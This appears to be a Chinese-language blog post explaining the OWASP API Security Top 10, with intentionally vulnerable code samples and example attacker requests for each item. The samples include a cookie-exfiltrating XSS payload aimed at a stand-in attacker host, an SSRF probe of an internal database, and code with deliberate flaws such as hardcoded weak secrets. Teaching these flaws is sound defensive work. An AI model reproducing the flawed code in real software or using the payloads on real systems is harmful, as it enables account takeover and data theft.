侧边栏壁纸
  • 累计撰写 142 篇文章
  • 累计创建 1 个标签
  • 累计收到 0 条评论

目 录CONTENT

文章目录

API Security Top 10

温馨提示:
如果图片&格式缺失,请再刷新一次页面。

来源于OWASP API Security Top 10,https://owasp.org/API-Security/

OWASP(Open Web Application Security Project,开放 Web 应用安全项目)是一个全球性的非营利组织,致力于提升软件(尤其是 Web 应用)的安全性。

自 2001 年成立以来,它通过社区协作、开源资源和实践指南,成为全球软件安全领域最具影响力的权威组织之一。

一、API TOP 10

1.1 BOLA

Broken Object Level Authorization 对象级授权失效

描述:

API未正确验证用户对特定对象的访问权限,常见于依赖客户端传入对象ID的场景。攻击者通过修改对象ID(如用户ID、订单ID)访问未授权数据。

案例

  • 金融行业:某银行API允许通过用户ID查询交易记录,攻击者伪造用户ID获取他人交易明细。
  • 电商行业:某电商平台API未验证商品ID归属,攻击者通过遍历ID窃取商品库存信息。

漏洞代码示例(Node.js/Express)

// 错误实现:仅验证用户登录状态,未校验订单归属
app.get('/api/orders/:orderId', authenticate, (req, res) => {
  const orderId = req.params.orderId;
  // 直接查询订单,未关联当前用户ID
  db.query('SELECT * FROM orders WHERE id = ?', [orderId], (err, result) => {
    if (result.length > 0) {
      res.json(result[0]); // 返回订单详情(无论归属)
    } else {
      res.status(404).send('Order not found');
    }
  });
});

正常的用户请求和响应,用户查询自己的订单:

GET /api/orders/1001 HTTP/1.1
Host: example.com
Authorization: Bearer {合法用户token}

HTTP/1.1 200 OK
{
  "id": 1001,
  "userId": 123, // 匹配当前用户
  "amount": 99.99,
  "address": "用户A的地址"
}

攻击者请求和响应,篡改orderid查询他人订单:

GET /api/orders/1002 HTTP/1.1
Host: example.com
Authorization: Bearer {合法用户token}

HTTP/1.1 200 OK
{
  "id": 1002,
  "userId": 456, // 属于其他用户
  "amount": 199.99,
  "address": "用户B的地址" // 未授权访问
}

1.2 认证失效

Broken Authentication 认证失效

描述:

身份验证机制实现缺陷,如弱密码策略、令牌泄露或暴力破解漏洞。攻击者通过破解令牌或利用实现缺陷冒充合法用户。

案例:

  • 金融行业:某证券平台API密钥明文存储,被木马程序盗取后,攻击者操作账户进行高频交易。
  • 电商行业:某商城API未限制登录尝试次数,攻击者通过暴力破解获取管理员账号。

漏洞代码示例(JWT配置缺陷)

# 错误实现:JWT过期时间过长且无刷新机制(Python/Flask)
import jwt
from datetime import datetime, timedelta

def generate_token(user_id):
    payload = {
        "user_id": user_id,
        "exp": datetime.utcnow() + timedelta(days=365)  # 过期时间1年(过久)
    }
    return jwt.encode(payload, "weak_secret_key", algorithm="HS256")  # 密钥弱且硬编码

# 认证逻辑未校验token有效性细节
@app.route('/api/balance', methods=['GET'])
def get_balance():
    token = request.headers.get('Authorization').split(' ')[1]
    try:
        payload = jwt.decode(token, "weak_secret_key", algorithms=["HS256"])
        # 未检查token是否被吊销/刷新
        return jsonify({"balance": get_user_balance(payload["user_id"])})
    except:
        return "Unauthorized", 401

攻击者使用窃取的旧 token的请求与响应:

GET /api/balance HTTP/1.1
Host: example.com
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxMjMsImV4cCI6MTcxNzY0MDY3NX0.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c

HTTP/1.1 200 OK
{
  "balance": 5000.00
}

1.3 对象属性级授权失效

Broken Object Property Level Authorization 对象属性级授权失效

描述:

未正确控制对象属性的访问权限。攻击者通过修改请求参数暴露或修改敏感属性。

案例

  • 电商行业:某商城API允许用户更新订单状态,攻击者通过修改 is_paid字段将未支付订单标记为已支付。
  • 物联网行业:某智能门锁API未验证属性权限,攻击者远程修改锁状态导致用户无法开门。

漏洞代码示例(Java/Spring)

// 错误实现:允许修改所有用户属性,未限制"role"字段
@PutMapping("/api/users/{userId}")
public ResponseEntity<User> updateUser(@PathVariable Long userId, @RequestBody User user) {
    // 仅校验用户是否存在,未过滤敏感属性
    User existingUser = userRepository.findById(userId).orElseThrow();
    // 直接覆盖所有字段(包括role)
    existingUser.setName(user.getName());
    existingUser.setEmail(user.getEmail());
    existingUser.setRole(user.getRole()); // 未校验role修改权限
    userRepository.save(existingUser);
    return ResponseEntity.ok(existingUser);
}

攻击者修改自身角色的请求与响应:

PUT /api/users/123 HTTP/1.1
Host: example.com
Authorization: Bearer {普通用户token}
Content-Type: application/json

{
  "name": "Attacker",
  "email": "attacker@example.com",
  "role": "ADMIN"  // 越权修改敏感属性
}

HTTP/1.1 200 OK
{
  "id": 123,
  "name": "Attacker",
  "email": "attacker@example.com",
  "role": "ADMIN"  // 修改成功,权限提升
}

1.4 资源消耗不受限

描述:

未限制API请求的资源消耗,导致拒绝服务(DoS)或成本激增。攻击者通过发送大请求或高频请求耗尽服务器资源。

案例

  • 电商行业:某商城API未限制图片上传大小,攻击者上传10GB文件导致服务器内存耗尽。
  • 金融行业:某银行API未设置速率限制,攻击者每秒发送1000次查询请求,导致数据库瘫痪。

漏洞代码示例(Python/Flask)

# 错误实现:未限制文件大小和请求频率
@app.route('/api/process-image', methods=['POST'])
def process_image():
    # 未校验文件大小
    image = request.files['image']
    image.save(f'/tmp/{image.filename}')
    # 未限制并发,直接执行高资源消耗操作
    result = high_resolution_processing(image.filename)  # 耗时操作
    return send_file(result)

攻击者发送超大文件的请求与响应:

POST /api/process-image HTTP/1.1
Host: example.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

----WebKitFormBoundary
Content-Disposition: form-data; name="image"; filename="100mb-image.jpg"
Content-Type: image/jpeg

[100MB二进制数据]
----WebKitFormBoundary

HTTP/1.1 504 Gateway Timeout  # 服务器超时(资源耗尽)

1.5 BFLA

Broken Function Level Authorization 功能级授权失效

描述:

管理功能与普通功能授权未分离,导致未授权访问管理接口。攻击者通过普通用户权限调用管理接口。

案例

  • 金融行业:某证券平台API未区分管理接口,攻击者通过普通用户权限调用 /admin/users接口获取所有用户数据。
  • 电商行业:某商城API管理接口未验证角色,攻击者删除他人订单。

BOLA 与 BFLA 的区别:

  • BOLA:用户有权访问 API 端点 / 功能,但通过操纵对象 ID 访问无权对象(对象级越权)。
  • BFLA:攻击者未授权访问本不应接触的 API 端点 / 功能(功能级越权)。

漏洞代码示例(PHP/Laravel)

// 错误实现:仅通过URL路径判断权限,未校验用户角色
Route::delete('/api/admin/delete-customer/{id}', function ($id) {
    // 无角色校验中间件
    Customer::destroy($id);
    return response()->json(['message' => 'Deleted']);
});

普通用户调用管理员接口的请求与响应:

DELETE /api/admin/delete-customer/456 HTTP/1.1
Host: example.com
Authorization: Bearer {普通用户token}

HTTP/1.1 200 OK
{
  "message": "Deleted"  // 越权删除成功
}

1.6 敏感业务流无限制访问

描述:

敏感业务流程未加防护,如自动化评论、交易操作。攻击者通过脚本自动化操作,导致业务受损。

案例

  • 电商行业:某平台API未限制评论频率,攻击者通过脚本每秒发送1000条垃圾评论。
  • 金融行业:某银行API未验证交易频率,攻击者通过自动化脚本进行高频转账,触发风控。

漏洞场景(外卖下单流程):

正常流程:提交订单→支付→确认发货,但 API 未校验流程依赖关系。

攻击者跳过支付直接确认发货的请求与响应:

POST /api/orders/789/confirm-shipping HTTP/1.1
Host: example.com
Authorization: Bearer {用户token}
Content-Type: application/json

{
  "orderId": 789,
  "trackingNo": "FAKE123"
}

HTTP/1.1 200 OK
{
  "status": "shipped",
  "message": "订单已发货"  // 未支付却发货
}

1.7 SSRF

Server Side Request Forgery 服务器端请求伪造

描述:

API未验证用户提供的URI,导致内部资源被非法访问。攻击者通过伪造URI访问内网地址。

案例

  • 金融行业:某银行API获取远程配置时未验证URL,攻击者伪造URL访问内网数据库。
  • 物联网行业:某智能设备API未限制URI,攻击者通过SSRF控制设备。

漏洞代码示例(Node.js/Express)

// 错误实现:直接使用用户输入的URL发起请求
app.get('/api/fetch-content', (req, res) => {
  const url = req.query.url; // 用户可控输入
  // 未校验URL合法性(如禁止内网IP)
  fetch(url).then(response => response.text())
    .then(data => res.send(data))
    .catch(err => res.status(500).send(err.message));
});

攻击者探测内网数据库的请求与响应:

GET /api/fetch-content?url=http://192.168.1.100:3306 HTTP/1.1
Host: example.com

HTTP/1.1 200 OK
Host '172.17.0.2' is not allowed to connect to this MySQL server

1.8 安全配置错误

描述:

API或相关组件配置不当,如默认凭证、未关闭调试接口。攻击者利用默认配置或未修复漏洞进行攻击。

案例

  • 电商行业:某商城API未删除调试接口,攻击者通过 /debug/pprof获取服务器性能数据。
  • 金融行业:某证券平台API使用默认管理员账号,被暴力破解。

漏洞场景(生产环境启用调试模式)

触发错误时的请求与响应:

GET /api/users/invalid-id HTTP/1.1
Host: example.com

HTTP/1.1 500 Internal Server Error
{
  "error": "SQL Error",
  "stack": "Traceback (most recent call last): ... File \"db.py\", line 42, in query\n    cursor.execute(\"SELECT * FROM users WHERE id = '%s'\" % id)\nMySQLdb._exceptions.ProgrammingError: (1064, ...)",
  "db_config": {
    "host": "192.168.1.5",
    "user": "root",
    "password": "dev_password"  // 泄露敏感配置
  }
}

1.9 存量资产管理不当

描述:

未维护API资产清单,导致废弃端点暴露。攻击者利用未下线的旧版API进行攻击。

案例

  • 金融行业:某银行未下线旧版API,攻击者通过未修复的漏洞转移资金。
  • 电商行业:某商城API版本号混乱,攻击者利用旧版接口进行数据抓取。

漏洞场景(遗留 API 未下线)

访问未下线v1接口的请求与响应:

GET /api/v1/users HTTP/1.1
Host: example.com

HTTP/1.1 200 OK
[
  {"id": 1, "phone": "13800138000", "email": "user1@example.com"},
  {"id": 2, "phone": "13900139000", "email": "user2@example.com"}
]

v1 接口无认证,v2 已修复但未删除 v1

1.10 API的不安全使用

描述:

依赖第三方API时未验证数据完整性,导致供应链攻击。攻击者通过篡改第三方API响应进行攻击。

案例

  • 电商行业:某应用使用被篡改的第三方天气API,响应中包含恶意脚本,触发XSS漏洞。
  • 金融行业:某银行依赖的第三方支付API被植入恶意代码,导致用户资金被盗。

漏洞代码示例(前端直接渲染第三方数据)

// 错误实现:直接展示第三方API返回的未过滤数据
fetch('https://third-party-logistics.com/api/tracking?orderId=789')
  .then(response => response.json())
  .then(data => {
    // 未过滤HTML/脚本标签
    document.getElementById('tracking-message').innerHTML = data.message;
  });

请求第三方api返回恶意内容:

{
  "message": "您的快递已到达<script>document.location='http://attacker.com?cookie='+document.cookie</script>"
}

前端渲染后触发 XSS,导致用户 Cookie 被窃取。

2
博主关闭了所有页面的评论